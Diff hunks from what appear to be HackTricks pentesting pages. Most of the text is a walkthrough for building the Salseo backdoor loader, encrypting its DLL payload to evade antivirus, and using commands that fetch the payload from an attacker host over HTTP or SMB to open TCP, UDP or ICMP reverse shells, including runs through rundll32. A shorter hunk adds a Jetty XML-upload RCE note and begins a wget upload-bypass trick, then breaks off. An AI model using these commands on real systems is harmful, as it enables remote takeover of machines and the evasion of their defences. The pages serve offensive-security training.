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@ -1,4 +1,4 @@
# Salseo
<details>
@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
</details>
# Compiling the binaries
## Compiling the binaries
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
@ -25,26 +24,26 @@ Compile those projects for the architecture of the windows box where your are go
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
(**If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
![](../.gitbook/assets/image.png)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
![](<../.gitbook/assets/image (1).png>)
![](<../.gitbook/assets/image (1) (2).png>)
# Prepare the Backdoor
## Prepare the Backdoor
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
## **Python**
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
## Windows
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
@ -55,9 +54,9 @@ Ok, now you have everything you need to execute all the Salseo thing: the **enco
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
# **Execute the backdoor**
## **Execute the backdoor**
## **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
@ -65,7 +64,7 @@ Remember to start a nc as the reverse shell listener and a HTTP server to serve
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
## **Getting a UDP reverse shell (downloading encoded dll through SMB)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
@ -73,11 +72,11 @@ Remember to start a nc as the reverse shell listener, and a SMB server to serve
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
## **Getting a ICMP reverse shell (encoded dll already inside the victim)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
### **Disable ICMP Replies:**
#### **Disable ICMP Replies:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
@ -86,45 +85,45 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
### Execute the client:
#### Execute the client:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
### Inside the victim, lets execute the salseo thing:
#### Inside the victim, lets execute the salseo thing:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
# Compiling SalseoLoader as DLL exporting main function
## Compiling SalseoLoader as DLL exporting main function
Open the SalseoLoader project using Visual Studio.
## Add before the main function: \[DllExport]
### Add before the main function: \[DllExport]
![](<../.gitbook/assets/image (2).png>)
![](<../.gitbook/assets/image (2) (1).png>)
## Install DllExport for this project
### Install DllExport for this project
### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
![](<../.gitbook/assets/image (3).png>)
### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
![](<../.gitbook/assets/image (4).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat**
## **U**ninstall DllExport
### **U**ninstall DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
![](<../.gitbook/assets/image (5).png>)
## **Exit Visual Studio and execute DllExport\_configure**
### **Exit Visual Studio and execute DllExport\_configure**
Just **exit** Visual Studio
@ -134,13 +133,13 @@ Select **x64** (if you are going to use it inside a x64 box, that was my case),
![](<../.gitbook/assets/image (7).png>)
## **Open the project again with visual Studio**
### **Open the project again with visual Studio**
**\[DllExport]** should not be longer marked as error
![](<../.gitbook/assets/image (8).png>)
## Build the solution
### Build the solution
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
@ -152,7 +151,7 @@ Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> P
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
## Test the generated Dll
### Test the generated Dll
Copy and paste the Dll where you want to test it.
@ -164,11 +163,11 @@ rundll32.exe SalseoLoader.dll,main
If no error appears, probably you have a functional DLL!!
# Get a shell using the DLL
## Get a shell using the DLL
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
## Powershell
### Powershell
```
$env:pass="password"
@ -179,7 +178,7 @@ $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
## CMD
### CMD
```
set pass=password
@ -190,7 +189,6 @@ set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -206,5 +204,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

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@ -16,7 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
</details>
<img src="../../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
![](<../../.gitbook/assets/image (2).png>)
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
@ -106,6 +106,12 @@ The `.phar` files are like the `.jar` for java, but for php, and can be **used l
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
![](<../../.gitbook/assets/image (1).png>)
## **wget File Upload/SSRF Trick**
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\